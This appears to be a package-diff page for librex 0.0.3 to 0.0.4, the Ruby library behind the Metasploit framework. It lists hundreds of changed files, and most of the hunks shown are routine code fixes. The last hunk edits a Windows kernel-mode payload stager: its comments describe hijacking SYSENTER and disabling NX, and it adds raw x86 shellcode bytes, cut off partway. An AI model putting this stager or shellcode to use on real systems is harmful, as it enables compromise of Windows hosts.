librex 0.0.3 → 0.0.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (376) hide show
  1. data/README +0 -0
  2. data/lib/rex.rb +0 -0
  3. data/lib/rex.rb.ts.rb +0 -0
  4. data/lib/rex/LICENSE +0 -0
  5. data/lib/rex/arch.rb +0 -0
  6. data/lib/rex/arch/sparc.rb +0 -0
  7. data/lib/rex/arch/sparc.rb.ut.rb +0 -0
  8. data/lib/rex/arch/x86.rb +0 -0
  9. data/lib/rex/arch/x86.rb.ut.rb +0 -0
  10. data/lib/rex/assembly/nasm.rb +0 -0
  11. data/lib/rex/assembly/nasm.rb.ut.rb +0 -0
  12. data/lib/rex/codepage.map +0 -0
  13. data/lib/rex/compat.rb +0 -0
  14. data/lib/rex/constants.rb +0 -0
  15. data/lib/rex/elfparsey.rb +0 -0
  16. data/lib/rex/elfparsey/elf.rb +0 -0
  17. data/lib/rex/elfparsey/elfbase.rb +0 -0
  18. data/lib/rex/elfparsey/exceptions.rb +0 -0
  19. data/lib/rex/elfscan.rb +0 -0
  20. data/lib/rex/elfscan/scanner.rb +0 -0
  21. data/lib/rex/elfscan/search.rb +0 -0
  22. data/lib/rex/encoder/alpha2.rb +0 -0
  23. data/lib/rex/encoder/alpha2/alpha_mixed.rb +0 -0
  24. data/lib/rex/encoder/alpha2/alpha_upper.rb +0 -0
  25. data/lib/rex/encoder/alpha2/generic.rb +0 -0
  26. data/lib/rex/encoder/alpha2/unicode_mixed.rb +0 -0
  27. data/lib/rex/encoder/alpha2/unicode_upper.rb +0 -0
  28. data/lib/rex/encoder/ndr.rb +0 -0
  29. data/lib/rex/encoder/ndr.rb.ut.rb +0 -0
  30. data/lib/rex/encoder/nonalpha.rb +0 -0
  31. data/lib/rex/encoder/nonupper.rb +0 -0
  32. data/lib/rex/encoder/xdr.rb +0 -0
  33. data/lib/rex/encoder/xdr.rb.ut.rb +0 -0
  34. data/lib/rex/encoder/xor.rb +0 -0
  35. data/lib/rex/encoder/xor/dword.rb +0 -0
  36. data/lib/rex/encoder/xor/dword_additive.rb +0 -0
  37. data/lib/rex/encoders/xor_dword.rb +0 -0
  38. data/lib/rex/encoders/xor_dword_additive.rb +0 -0
  39. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +0 -0
  40. data/lib/rex/encoding/xor.rb +0 -0
  41. data/lib/rex/encoding/xor.rb.ts.rb +0 -0
  42. data/lib/rex/encoding/xor/byte.rb +0 -0
  43. data/lib/rex/encoding/xor/byte.rb.ut.rb +0 -0
  44. data/lib/rex/encoding/xor/dword.rb +0 -0
  45. data/lib/rex/encoding/xor/dword.rb.ut.rb +0 -0
  46. data/lib/rex/encoding/xor/dword_additive.rb +0 -0
  47. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +0 -0
  48. data/lib/rex/encoding/xor/exceptions.rb +0 -0
  49. data/lib/rex/encoding/xor/generic.rb +0 -0
  50. data/lib/rex/encoding/xor/generic.rb.ut.rb +0 -0
  51. data/lib/rex/encoding/xor/qword.rb +0 -0
  52. data/lib/rex/encoding/xor/word.rb +0 -0
  53. data/lib/rex/encoding/xor/word.rb.ut.rb +0 -0
  54. data/lib/rex/exceptions.rb +0 -0
  55. data/lib/rex/exceptions.rb.ut.rb +0 -0
  56. data/lib/rex/exploitation/cmdstager.rb +0 -0
  57. data/lib/rex/exploitation/cmdstager/base.rb +0 -0
  58. data/lib/rex/exploitation/cmdstager/debug_asm.rb +0 -0
  59. data/lib/rex/exploitation/cmdstager/debug_write.rb +0 -0
  60. data/lib/rex/exploitation/cmdstager/tftp.rb +0 -0
  61. data/lib/rex/exploitation/cmdstager/vbs.rb +0 -0
  62. data/lib/rex/exploitation/egghunter.rb +0 -0
  63. data/lib/rex/exploitation/egghunter.rb.ut.rb +0 -0
  64. data/lib/rex/exploitation/encryptjs.rb +0 -0
  65. data/lib/rex/exploitation/heaplib.js.b64 +0 -0
  66. data/lib/rex/exploitation/heaplib.rb +0 -0
  67. data/lib/rex/exploitation/javascriptosdetect.rb +2 -2
  68. data/lib/rex/exploitation/obfuscatejs.rb +0 -0
  69. data/lib/rex/exploitation/opcodedb.rb +0 -0
  70. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -0
  71. data/lib/rex/exploitation/seh.rb +0 -0
  72. data/lib/rex/exploitation/seh.rb.ut.rb +0 -0
  73. data/lib/rex/file.rb +0 -0
  74. data/lib/rex/file.rb.ut.rb +0 -0
  75. data/lib/rex/image_source.rb +0 -0
  76. data/lib/rex/image_source/disk.rb +0 -0
  77. data/lib/rex/image_source/image_source.rb +0 -0
  78. data/lib/rex/image_source/memory.rb +0 -0
  79. data/lib/rex/io/bidirectional_pipe.rb +0 -0
  80. data/lib/rex/io/datagram_abstraction.rb +0 -0
  81. data/lib/rex/io/stream.rb +13 -15
  82. data/lib/rex/io/stream_abstraction.rb +0 -0
  83. data/lib/rex/io/stream_server.rb +0 -0
  84. data/lib/rex/job_container.rb +10 -25
  85. data/lib/rex/logging.rb +0 -0
  86. data/lib/rex/logging/log_dispatcher.rb +0 -0
  87. data/lib/rex/logging/log_sink.rb +0 -0
  88. data/lib/rex/logging/sinks/flatfile.rb +0 -0
  89. data/lib/rex/logging/sinks/stderr.rb +0 -0
  90. data/lib/rex/machparsey.rb +0 -0
  91. data/lib/rex/machparsey/exceptions.rb +0 -0
  92. data/lib/rex/machparsey/mach.rb +1 -1
  93. data/lib/rex/machparsey/machbase.rb +0 -0
  94. data/lib/rex/machscan.rb +0 -0
  95. data/lib/rex/machscan/scanner.rb +0 -0
  96. data/lib/rex/mime.rb +0 -0
  97. data/lib/rex/mime/header.rb +0 -0
  98. data/lib/rex/mime/message.rb +0 -0
  99. data/lib/rex/mime/part.rb +0 -0
  100. data/lib/rex/nop/opty2.rb +0 -0
  101. data/lib/rex/nop/opty2.rb.ut.rb +0 -0
  102. data/lib/rex/nop/opty2_tables.rb +0 -0
  103. data/lib/rex/ole.rb +0 -0
  104. data/lib/rex/ole/clsid.rb +0 -0
  105. data/lib/rex/ole/difat.rb +0 -0
  106. data/lib/rex/ole/directory.rb +0 -0
  107. data/lib/rex/ole/direntry.rb +0 -0
  108. data/lib/rex/ole/fat.rb +0 -0
  109. data/lib/rex/ole/header.rb +0 -0
  110. data/lib/rex/ole/minifat.rb +0 -0
  111. data/lib/rex/ole/storage.rb +0 -0
  112. data/lib/rex/ole/stream.rb +0 -0
  113. data/lib/rex/ole/substorage.rb +0 -0
  114. data/lib/rex/ole/util.rb +0 -0
  115. data/lib/rex/parser/arguments.rb +0 -0
  116. data/lib/rex/parser/arguments.rb.ut.rb +0 -0
  117. data/lib/rex/parser/ini.rb +0 -0
  118. data/lib/rex/parser/ini.rb.ut.rb +0 -0
  119. data/lib/rex/parser/nexpose_xml.rb +0 -0
  120. data/lib/rex/parser/nmap_xml.rb +0 -0
  121. data/lib/rex/payloads.rb +0 -0
  122. data/lib/rex/payloads/win32.rb +0 -0
  123. data/lib/rex/payloads/win32/common.rb +0 -0
  124. data/lib/rex/payloads/win32/kernel.rb +0 -0
  125. data/lib/rex/payloads/win32/kernel/common.rb +0 -0
  126. data/lib/rex/payloads/win32/kernel/migration.rb +0 -0
  127. data/lib/rex/payloads/win32/kernel/recovery.rb +0 -0
  128. data/lib/rex/payloads/win32/kernel/stager.rb +26 -3
  129. data/lib/rex/peparsey.rb +0 -0
  130. data/lib/rex/peparsey/exceptions.rb +0 -0
  131. data/lib/rex/peparsey/pe.rb +0 -0
  132. data/lib/rex/peparsey/pe_memdump.rb +0 -0
  133. data/lib/rex/peparsey/pebase.rb +0 -0
  134. data/lib/rex/peparsey/section.rb +0 -0
  135. data/lib/rex/pescan.rb +0 -0
  136. data/lib/rex/pescan/analyze.rb +0 -0
  137. data/lib/rex/pescan/scanner.rb +0 -0
  138. data/lib/rex/pescan/search.rb +0 -0
  139. data/lib/rex/platforms.rb +0 -0
  140. data/lib/rex/platforms/windows.rb +0 -0
  141. data/lib/rex/poly.rb +0 -0
  142. data/lib/rex/poly/block.rb +0 -0
  143. data/lib/rex/poly/register.rb +0 -0
  144. data/lib/rex/poly/register/x86.rb +0 -0
  145. data/lib/rex/post.rb +0 -0
  146. data/lib/rex/post/dir.rb +0 -0
  147. data/lib/rex/post/file.rb +0 -0
  148. data/lib/rex/post/file_stat.rb +0 -0
  149. data/lib/rex/post/gen.pl +0 -0
  150. data/lib/rex/post/io.rb +0 -0
  151. data/lib/rex/post/meterpreter.rb +0 -0
  152. data/lib/rex/post/meterpreter/channel.rb +0 -0
  153. data/lib/rex/post/meterpreter/channel_container.rb +0 -0
  154. data/lib/rex/post/meterpreter/channels/pool.rb +0 -0
  155. data/lib/rex/post/meterpreter/channels/pools/file.rb +0 -0
  156. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +0 -0
  157. data/lib/rex/post/meterpreter/channels/stream.rb +0 -0
  158. data/lib/rex/post/meterpreter/client.rb +0 -0
  159. data/lib/rex/post/meterpreter/client_core.rb +0 -0
  160. data/lib/rex/post/meterpreter/dependencies.rb +0 -0
  161. data/lib/rex/post/meterpreter/extension.rb +0 -0
  162. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +0 -0
  163. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +0 -0
  164. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +0 -0
  165. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +0 -0
  166. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +0 -0
  167. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +0 -0
  168. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +0 -0
  169. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +0 -0
  170. data/lib/rex/post/meterpreter/extensions/railgun/api.rb +9303 -0
  171. data/lib/rex/post/meterpreter/extensions/railgun/api_constants.rb +38105 -0
  172. data/lib/rex/post/meterpreter/extensions/railgun/def_kernel32.rb +3678 -0
  173. data/lib/rex/post/meterpreter/extensions/railgun/railgun.rb +815 -0
  174. data/lib/rex/post/meterpreter/extensions/railgun/tlv.rb +54 -0
  175. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +0 -0
  176. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +0 -0
  177. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +0 -0
  178. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +0 -0
  179. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +0 -0
  180. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +0 -0
  181. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +0 -0
  182. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +0 -0
  183. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +0 -0
  184. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +0 -0
  185. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +7 -7
  186. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +21 -8
  187. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +0 -0
  188. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +33 -17
  189. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +0 -0
  190. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +0 -0
  191. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +0 -0
  192. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +0 -0
  193. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +0 -0
  194. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +0 -0
  195. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +0 -0
  196. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +0 -0
  197. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +0 -0
  198. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +0 -0
  199. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +0 -0
  200. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +0 -0
  201. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +0 -0
  202. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +0 -0
  203. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +0 -0
  204. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +0 -0
  205. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +0 -0
  206. data/lib/rex/post/meterpreter/object_aliases.rb +0 -0
  207. data/lib/rex/post/meterpreter/packet.rb +0 -0
  208. data/lib/rex/post/meterpreter/packet_dispatcher.rb +0 -0
  209. data/lib/rex/post/meterpreter/packet_parser.rb +0 -0
  210. data/lib/rex/post/meterpreter/packet_response_waiter.rb +0 -0
  211. data/lib/rex/post/meterpreter/ui/console.rb +0 -0
  212. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +0 -0
  213. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +0 -0
  214. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +0 -0
  215. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +0 -0
  216. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +0 -0
  217. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +0 -0
  218. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +0 -0
  219. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +0 -0
  220. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/railgun.rb +57 -0
  221. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +0 -0
  222. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +0 -0
  223. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +0 -0
  224. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +0 -0
  225. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +0 -0
  226. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +0 -0
  227. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +0 -0
  228. data/lib/rex/post/permission.rb +0 -0
  229. data/lib/rex/post/process.rb +0 -0
  230. data/lib/rex/post/thread.rb +0 -0
  231. data/lib/rex/post/ui.rb +0 -0
  232. data/lib/rex/proto.rb +0 -0
  233. data/lib/rex/proto.rb.ts.rb +0 -0
  234. data/lib/rex/proto/dcerpc.rb +0 -0
  235. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -0
  236. data/lib/rex/proto/dcerpc/client.rb +45 -44
  237. data/lib/rex/proto/dcerpc/exceptions.rb +0 -0
  238. data/lib/rex/proto/dcerpc/handle.rb +0 -0
  239. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -0
  240. data/lib/rex/proto/dcerpc/ndr.rb +0 -0
  241. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -0
  242. data/lib/rex/proto/dcerpc/packet.rb +0 -0
  243. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -0
  244. data/lib/rex/proto/dcerpc/response.rb +32 -31
  245. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -0
  246. data/lib/rex/proto/dcerpc/uuid.rb +0 -0
  247. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -0
  248. data/lib/rex/proto/drda.rb +0 -0
  249. data/lib/rex/proto/drda.rb.ts.rb +0 -0
  250. data/lib/rex/proto/drda/constants.rb +0 -0
  251. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -0
  252. data/lib/rex/proto/drda/packet.rb +0 -0
  253. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -0
  254. data/lib/rex/proto/drda/utils.rb +0 -0
  255. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -0
  256. data/lib/rex/proto/http.rb +0 -0
  257. data/lib/rex/proto/http.rb.ts.rb +0 -0
  258. data/lib/rex/proto/http/client.rb +1 -1
  259. data/lib/rex/proto/http/client.rb.ut.rb +0 -0
  260. data/lib/rex/proto/http/handler.rb +0 -0
  261. data/lib/rex/proto/http/handler/erb.rb +0 -0
  262. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -0
  263. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -0
  264. data/lib/rex/proto/http/handler/proc.rb +0 -0
  265. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -0
  266. data/lib/rex/proto/http/header.rb +0 -0
  267. data/lib/rex/proto/http/header.rb.ut.rb +0 -0
  268. data/lib/rex/proto/http/packet.rb +0 -0
  269. data/lib/rex/proto/http/packet.rb.ut.rb +0 -0
  270. data/lib/rex/proto/http/request.rb +0 -0
  271. data/lib/rex/proto/http/request.rb.ut.rb +0 -0
  272. data/lib/rex/proto/http/response.rb +0 -0
  273. data/lib/rex/proto/http/response.rb.ut.rb +0 -0
  274. data/lib/rex/proto/http/server.rb +0 -0
  275. data/lib/rex/proto/http/server.rb.ut.rb +0 -0
  276. data/lib/rex/proto/smb.rb +0 -0
  277. data/lib/rex/proto/smb.rb.ts.rb +0 -0
  278. data/lib/rex/proto/smb/client.rb +1 -1
  279. data/lib/rex/proto/smb/client.rb.ut.rb +0 -0
  280. data/lib/rex/proto/smb/constants.rb +0 -0
  281. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -0
  282. data/lib/rex/proto/smb/crypt.rb +0 -0
  283. data/lib/rex/proto/smb/crypt.rb.ut.rb +0 -0
  284. data/lib/rex/proto/smb/evasions.rb +18 -17
  285. data/lib/rex/proto/smb/exceptions.rb +0 -0
  286. data/lib/rex/proto/smb/simpleclient.rb +0 -0
  287. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -0
  288. data/lib/rex/proto/smb/utils.rb +0 -0
  289. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -0
  290. data/lib/rex/proto/sunrpc.rb +0 -0
  291. data/lib/rex/proto/sunrpc/client.rb +0 -0
  292. data/lib/rex/proto/tftp.rb +0 -0
  293. data/lib/rex/proto/tftp/constants.rb +0 -0
  294. data/lib/rex/proto/tftp/server.rb +212 -37
  295. data/lib/rex/script.rb +0 -0
  296. data/lib/rex/script/base.rb +0 -0
  297. data/lib/rex/script/meterpreter.rb +0 -0
  298. data/lib/rex/script/shell.rb +0 -0
  299. data/lib/rex/service.rb +0 -0
  300. data/lib/rex/service_manager.rb +0 -0
  301. data/lib/rex/service_manager.rb.ut.rb +0 -0
  302. data/lib/rex/services/local_relay.rb +0 -0
  303. data/lib/rex/socket.rb +25 -0
  304. data/lib/rex/socket.rb.ut.rb +0 -0
  305. data/lib/rex/socket/comm.rb +0 -0
  306. data/lib/rex/socket/comm/local.rb +0 -0
  307. data/lib/rex/socket/comm/local.rb.ut.rb +0 -0
  308. data/lib/rex/socket/ip.rb +0 -0
  309. data/lib/rex/socket/parameters.rb +0 -0
  310. data/lib/rex/socket/parameters.rb.ut.rb +0 -0
  311. data/lib/rex/socket/range_walker.rb +0 -0
  312. data/lib/rex/socket/range_walker.rb.ut.rb +0 -0
  313. data/lib/rex/socket/ssl_tcp.rb +0 -0
  314. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -0
  315. data/lib/rex/socket/ssl_tcp_server.rb +0 -0
  316. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -0
  317. data/lib/rex/socket/subnet_walker.rb +0 -0
  318. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -0
  319. data/lib/rex/socket/switch_board.rb +11 -5
  320. data/lib/rex/socket/switch_board.rb.ut.rb +0 -0
  321. data/lib/rex/socket/tcp.rb +0 -0
  322. data/lib/rex/socket/tcp.rb.ut.rb +0 -0
  323. data/lib/rex/socket/tcp_server.rb +0 -0
  324. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -0
  325. data/lib/rex/socket/udp.rb +0 -0
  326. data/lib/rex/socket/udp.rb.ut.rb +0 -0
  327. data/lib/rex/struct2.rb +0 -0
  328. data/lib/rex/struct2/c_struct.rb +0 -0
  329. data/lib/rex/struct2/c_struct_template.rb +0 -0
  330. data/lib/rex/struct2/constant.rb +0 -0
  331. data/lib/rex/struct2/element.rb +0 -0
  332. data/lib/rex/struct2/generic.rb +0 -0
  333. data/lib/rex/struct2/restraint.rb +0 -0
  334. data/lib/rex/struct2/s_string.rb +0 -0
  335. data/lib/rex/struct2/s_struct.rb +0 -0
  336. data/lib/rex/sync.rb +0 -0
  337. data/lib/rex/sync/event.rb +0 -0
  338. data/lib/rex/sync/read_write_lock.rb +0 -0
  339. data/lib/rex/sync/ref.rb +0 -0
  340. data/lib/rex/sync/thread_safe.rb +0 -0
  341. data/lib/rex/test.rb +0 -0
  342. data/lib/rex/text.rb +15 -4
  343. data/lib/rex/text.rb.ut.rb +3 -0
  344. data/lib/rex/time.rb +0 -0
  345. data/lib/rex/transformer.rb +0 -0
  346. data/lib/rex/transformer.rb.ut.rb +0 -0
  347. data/lib/rex/ui.rb +0 -0
  348. data/lib/rex/ui/interactive.rb +0 -0
  349. data/lib/rex/ui/output.rb +0 -0
  350. data/lib/rex/ui/output/none.rb +0 -0
  351. data/lib/rex/ui/progress_tracker.rb +0 -0
  352. data/lib/rex/ui/subscriber.rb +0 -0
  353. data/lib/rex/ui/text/color.rb +0 -0
  354. data/lib/rex/ui/text/color.rb.ut.rb +0 -0
  355. data/lib/rex/ui/text/dispatcher_shell.rb +0 -0
  356. data/lib/rex/ui/text/input.rb +0 -0
  357. data/lib/rex/ui/text/input/buffer.rb +0 -0
  358. data/lib/rex/ui/text/input/readline.rb +0 -0
  359. data/lib/rex/ui/text/input/socket.rb +0 -0
  360. data/lib/rex/ui/text/input/stdio.rb +0 -0
  361. data/lib/rex/ui/text/irb_shell.rb +0 -0
  362. data/lib/rex/ui/text/output.rb +0 -0
  363. data/lib/rex/ui/text/output/buffer.rb +0 -0
  364. data/lib/rex/ui/text/output/file.rb +0 -0
  365. data/lib/rex/ui/text/output/socket.rb +0 -0
  366. data/lib/rex/ui/text/output/stdio.rb +0 -0
  367. data/lib/rex/ui/text/progress_tracker.rb +0 -0
  368. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -0
  369. data/lib/rex/ui/text/shell.rb +0 -0
  370. data/lib/rex/ui/text/table.rb +0 -0
  371. data/lib/rex/ui/text/table.rb.ut.rb +0 -0
  372. data/lib/rex/zip.rb +0 -0
  373. data/lib/rex/zip/archive.rb +0 -0
  374. data/lib/rex/zip/blocks.rb +0 -0
  375. data/lib/rex/zip/entry.rb +0 -0
  376. metadata +414 -347
data/README CHANGED
File without changes
data/lib/rex.rb CHANGED
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
@@ -418,8 +418,8 @@ function getVersion(){
418
418
  }
419
419
  break;
420
420
  }
421
- if (ua_is_lying) { alert("UA is lying"); }
422
- alert(ua_version + " vs " + navigator.userAgent);
421
+ //if (ua_is_lying) { alert("UA is lying"); }
422
+ //alert(ua_version + " vs " + navigator.userAgent);
423
423
 
424
424
  // end navigator.buildID checks
425
425
 
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
@@ -72,24 +72,22 @@ module Stream
72
72
  # true if data is available for reading, otherwise false is returned.
73
73
  #
74
74
  def has_read_data?(timeout = nil)
75
+
76
+ # Allow a timeout of "0" that waits almost indefinitely for input, this
77
+ # mimics the behavior of Rex::ThreadSafe.select() and fixes some corner
78
+ # cases of unintentional no-wait timeouts.
79
+ timeout = 3600 if (timeout and timeout == 0)
80
+
75
81
  begin
76
- if RUBY_VERSION =~ /^1\.9\./ and RUBY_PLATFORM !~ /cygwin|mingw32/
77
- if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
78
- (rv[0]) and
79
- (rv[0][0] == fd))
80
- true
81
- else
82
- false
83
- end
82
+ if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
83
+ (rv[0]) and
84
+ (rv[0][0] == fd))
85
+ true
84
86
  else
85
- if ((rv = Rex::ThreadSafe.select([ fd ], nil, nil, timeout)) and
86
- (rv[0]) and
87
- (rv[0][0] == fd))
88
- true
89
- else
90
- false
91
- end
87
+ false
92
88
  end
89
+ rescue ::Errno::EBADF
90
+ return ::EOFError
93
91
  rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE
94
92
  # If the thing that lead to the closure was an abortive close, then
95
93
  # don't raise the stream closed error.
File without changes
File without changes
@@ -61,51 +61,36 @@ class Job
61
61
  clean_proc.call(ctx) if (clean_proc)
62
62
  end
63
63
 
64
- #
65
- # Surfaces the setings from the job to determine the current settings
66
- #
67
- def info
68
- ret = {}
69
- con = nil
70
- ret['jid'] = self.jid
71
- ret['name'] = self.name
72
- if(self.ctx.class == Array)
73
- con = self.ctx[0]
74
-
75
- else
76
- con = self.ctx
77
- end
78
- ret['datastore'] = con.datastore
79
- if(con.kind_of? Msf::Exploit::Remote::HttpServer)
80
-
81
- ret['datastore']['URIPATH'] = con.get_resource()
82
- end
83
- ret
84
- end
85
-
86
64
  #
87
65
  # The name of the job.
88
66
  #
89
67
  attr_reader :name
68
+
90
69
  #
91
70
  # The job identifier as assigned by the job container.
92
71
  #
93
72
  attr_reader :jid
94
73
 
95
74
  #
96
- # The time at which this job was started
75
+ # The time at which this job was started.
76
+ #
77
+ attr_reader :start_time
78
+
79
+ #
80
+ # Some job context.
97
81
  #
98
- attr_reader :start_time #:nodoc:
82
+ attr_reader :ctx
99
83
 
100
84
  protected
101
85
 
86
+ attr_writer :info #:nodoc:
102
87
  attr_writer :name #:nodoc:
103
88
  attr_writer :jid #:nodoc:
104
89
  attr_accessor :job_thread #:nodoc:
105
90
  attr_accessor :container #:nodoc:
106
91
  attr_accessor :run_proc #:nodoc:
107
92
  attr_accessor :clean_proc #:nodoc:
108
- attr_accessor :ctx #:nodoc:
93
+ attr_writer :ctx #:nodoc:
109
94
  attr_writer :start_time #:nodoc:
110
95
 
111
96
  end
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
@@ -88,7 +88,7 @@ class Mach < MachBase
88
88
  end
89
89
 
90
90
  def read(offset, len)
91
- isource.read(offset, len)
91
+ isource.read(fat_offset + offset, len)
92
92
  end
93
93
 
94
94
  def index(*args)
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
@@ -20,7 +20,7 @@ module Stager
20
20
  # This payload works as follows:
21
21
  # * Our sysenter handler and ring3 stagers are copied over to safe location.
22
22
  # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
23
- # * The srv2.sys thread we are in is placed in a halted state.
23
+ # * The ring0 thread we are in is placed in a halted state.
24
24
  # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
25
25
  # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
26
26
  # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
@@ -61,7 +61,9 @@ module Stager
61
61
  "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
62
62
 
63
63
  # The ring3 payload.
64
- r3 = opts['UserModeStub'] || ''
64
+ r3 = ''
65
+ r3 += _createthread() if opts['CreateThread'] == true
66
+ r3 += opts['UserModeStub'] || ''
65
67
 
66
68
  # Patch in the required values.
67
69
  r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
@@ -117,7 +119,28 @@ module Stager
117
119
  end
118
120
 
119
121
  protected
120
-
122
+
123
+ #
124
+ # Stub to run a prepended ring3 payload in a new thread.
125
+ #
126
+ # Full assembly source at:
127
+ # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
128
+ #
129
+ def self._createthread
130
+ r3 = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
131
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
132
+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
133
+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
134
